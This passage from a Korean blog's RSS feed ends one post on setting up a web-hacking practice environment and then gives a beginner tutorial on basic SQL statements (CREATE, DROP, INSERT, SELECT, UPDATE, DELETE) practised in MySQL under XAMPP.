&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTyMj0/btsKSB1tS3l/AUKu0ndsnf1ksqROHfJqI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTyMj0/btsKSB1tS3l/AUKu0ndsnf1ksqROHfJqI1/img.png&quot; data-alt=&quot;그림18 - 게시글 삭제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTyMj0/btsKSB1tS3l/AUKu0ndsnf1ksqROHfJqI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTyMj0%2FbtsKSB1tS3l%2FAUKu0ndsnf1ksqROHfJqI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;636&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림18 - 게시글 삭제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>apm-setup</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <category>환경구축</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/201</guid>
      <comments>https://it-log.tistory.com/201#entry201comment</comments>
      <pubDate>Fri, 22 Nov 2024 22:00:25 +0900</pubDate>
    </item>
    <item>
      <title>SQL 기본 문법과 활용</title>
      <link>https://it-log.tistory.com/200</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;CREATE, DROP 구문&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CREATE 구문 - 데이터베이스 생성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;CREATE DATEABASE [DB_NAME];&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CREATE DATABASE test_db;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CREATE 구문 - 테이블 생성&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;CREATE TABLE [NAME] ([COLUMN_NAME] [DATA_TYPE]);&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CREATE TABLE test_tb (name char(20), age int);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DROP 구문 - 데이터베이스/테이블 삭제&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;DROP [DATABASE/TABLE] [NAME];&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DROP TABLE test_tb;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XAMPP 컨트롤 패널 열고 MySQL의 Start 버튼 클릭하여 시작 후 우측의 Shell 클릭하여 CMD 창 열기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byPIF1/btsKJMQtQFj/QKK8yKjf7twkYCqqbqRjwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byPIF1/btsKJMQtQFj/QKK8yKjf7twkYCqqbqRjwK/img.png&quot; data-alt=&quot;그림1 - XAMPP로 MySQL 시작&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byPIF1/btsKJMQtQFj/QKK8yKjf7twkYCqqbqRjwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyPIF1%2FbtsKJMQtQFj%2FQKK8yKjf7twkYCqqbqRjwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;666&quot; height=&quot;435&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - XAMPP로 MySQL 시작&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mysql -u root -p 입력 후 비밀번호 입력 창에서 엔터 눌러서 로그인(비밀번호 없으므로 가능)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2oC9U/btsKJKkSwBU/toiKSdxohlYImxQwoCoUN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2oC9U/btsKJKkSwBU/toiKSdxohlYImxQwoCoUN0/img.png&quot; data-alt=&quot;그림2 - MySQL 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2oC9U/btsKJKkSwBU/toiKSdxohlYImxQwoCoUN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2oC9U%2FbtsKJKkSwBU%2FtoiKSdxohlYImxQwoCoUN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;315&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - MySQL 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;show databases; 입력하여 데이터베이스 목록 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create database example; 입력하여 example 이라는 데이터베이스 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;show databases; 입력하여 생성된 데이터베이스 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;468&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCZmX6/btsKKxSRzQE/e1dfzdxTLUB02OpkClJBg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCZmX6/btsKKxSRzQE/e1dfzdxTLUB02OpkClJBg0/img.png&quot; data-alt=&quot;그림3 - example 데이터베이스 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCZmX6/btsKKxSRzQE/e1dfzdxTLUB02OpkClJBg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCZmX6%2FbtsKKxSRzQE%2Fe1dfzdxTLUB02OpkClJBg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;468&quot; height=&quot;477&quot; data-origin-width=&quot;468&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - example 데이터베이스 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select database(); 입력하여 현재 선택된 데이터베이스 확인, NULL은 현재 선택된 값이 없기 때문에 출력됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 선택을 위해서 use 명령어를 사용하여 DB를 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;use example; 입력하여 example 데이터베이스 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select database(); 입력하여 현재 선택된 데이터베이스가 example 데이터베이스 인것을 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UNRs7/btsKK2kyRZN/wAbPDl3OmZKcVtyZMerhck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UNRs7/btsKK2kyRZN/wAbPDl3OmZKcVtyZMerhck/img.png&quot; data-alt=&quot;그림4 - example 데이터베이스 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UNRs7/btsKK2kyRZN/wAbPDl3OmZKcVtyZMerhck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUNRs7%2FbtsKK2kyRZN%2FwAbPDl3OmZKcVtyZMerhck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;310&quot; data-origin-width=&quot;502&quot; data-origin-height=&quot;310&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - example 데이터베이스 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create table member(seq int, name char(20), email char(50));&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 컬럼명 seq는 숫자, name은 문자열 20, email은 문자열 50 인 member 테이블 생성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;show tables; 입력하여 member 테이블 생성 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgMV7U/btsKJHa7pyP/EuviYu9UI1zLlzw35PkQCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgMV7U/btsKJHa7pyP/EuviYu9UI1zLlzw35PkQCk/img.png&quot; data-alt=&quot;그림5 - member 테이블 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgMV7U/btsKJHa7pyP/EuviYu9UI1zLlzw35PkQCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgMV7U%2FbtsKJHa7pyP%2FEuviYu9UI1zLlzw35PkQCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;671&quot; height=&quot;198&quot; data-origin-width=&quot;671&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - member 테이블 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;describe 명령어 사용하여 테이블 구조를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;describe member; 또는 desc member;를 입력하여 테이블 구조를 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KvWSX/btsKLZOB8NY/CVjbnfNzgRVsJj6OoAiPH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KvWSX/btsKLZOB8NY/CVjbnfNzgRVsJj6OoAiPH1/img.png&quot; data-alt=&quot;그림6 - desc 명령어로 테이블 구조 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KvWSX/btsKLZOB8NY/CVjbnfNzgRVsJj6OoAiPH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKvWSX%2FbtsKLZOB8NY%2FCVjbnfNzgRVsJj6OoAiPH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;345&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - desc 명령어로 테이블 구조 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;INSERT, SELECT, UPDATE, DELETE 구문&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;INSERT 구문 - 데이터 삽입&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;INSERT INTO [TABLE_NAME] ([COLUMN1]...) VALUES ([DATA1]...);&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;INSERT INTO test_tb (name, age) VALUES ('honggildong', 55);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 컬럼명이 생략된 경우, 기존 컬럼명 순서대로 데이터 삽입을 의미&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 특정 컬럼에 삽입을 원하는 경우 컬럼명 명시해야 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SELECT 구문 - 데이터 조회&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;SELECT [COLUMN1] FROM [TABLE] WHERE [CONDITION];&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT name, age FROM test_tb;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT * FROM test_tb;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT name,age FROM test_tb WHERE id='admin';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test_tb 테이블에서 id가 admin인 사용자에 대한 name과 age값을 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;UPDATE 구문 - 데이터 수정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;UPDATE [TABLE] SET [COLUMN1]=[DATA1] WHERE [CONDITION];&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;UPDATE test_tb SET age=35 WHERE name='honggildong';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; WHERE 절이 없으면 테이블의 모든 age 값이 35로 변경된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DELETE 구문 - 데이터 삭제&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;DELETE FROM [TABLE] WHERE [CONDITION];&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DELETE FROM test_tb WHERE name='honggildong';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; WHERE 절이 없으면 테이블의 모든 값이 삭제된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member(seq, name, email) values(1, 'administrator', 'administrator@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member(seq, name, email) values(2, 'user', 'user@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member(seq, name, email) values(3, 'guest', 'guest@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member(seq, name, email) values(4, 'hong', 'hong@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member(seq, name, email) values(5, 'lee', 'lee@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력하여 각 컬럼에 데이터 삽입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member; 입력하여 삽입된 데이터 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJUAnV/btsKL9cyW2j/9mZZv6M92dRX0tmLwfhKgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJUAnV/btsKL9cyW2j/9mZZv6M92dRX0tmLwfhKgk/img.png&quot; data-alt=&quot;그림7 - insert 명령어로 데이터 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJUAnV/btsKL9cyW2j/9mZZv6M92dRX0tmLwfhKgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJUAnV%2FbtsKL9cyW2j%2F9mZZv6M92dRX0tmLwfhKgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;888&quot; height=&quot;458&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;458&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - insert 명령어로 데이터 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;select name, email from member;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&amp;nbsp;seq를 제외한 name과 email 컬럼의 데이터를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select name, email from member where seq=1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq가 1인 name과 email 컬럼의 데이터를 출력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uF51q/btsKJ8msJdW/rEAiwvnd9OCWwan26aC0e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uF51q/btsKJ8msJdW/rEAiwvnd9OCWwan26aC0e1/img.png&quot; data-alt=&quot;그림8 - where 절 사용하여 데이터 출력하기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uF51q/btsKJ8msJdW/rEAiwvnd9OCWwan26aC0e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuF51q%2FbtsKJ8msJdW%2FrEAiwvnd9OCWwan26aC0e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;347&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - where 절 사용하여 데이터 출력하기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member values(6, 'test', 'test@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq는 6, name은 test, email은 test@test.com 데이터를 삽입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 컬럼명이 생략된 경우, 컬럼명 순서대로 데이터 삽입을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member; 입력하여 삽입된 데이터 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DedNZ/btsKK9EUooR/hK2eC5E09BEpRWxUH7hdp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DedNZ/btsKK9EUooR/hK2eC5E09BEpRWxUH7hdp1/img.png&quot; data-alt=&quot;그림9 - 컬럼명 생략하여 insert 명령어 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DedNZ/btsKK9EUooR/hK2eC5E09BEpRWxUH7hdp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDedNZ%2FbtsKK9EUooR%2FhK2eC5E09BEpRWxUH7hdp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;281&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - 컬럼명 생략하여 insert 명령어 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update member set name='test1' where seq=6;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq가 6인 name을 test1로 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update member set name='test1' where name='test';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; name이 test인 name을 test1로 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 2개중 어느것을 사용해도 상관없다. test를 test1로 변경한다.&lt;/p&gt;
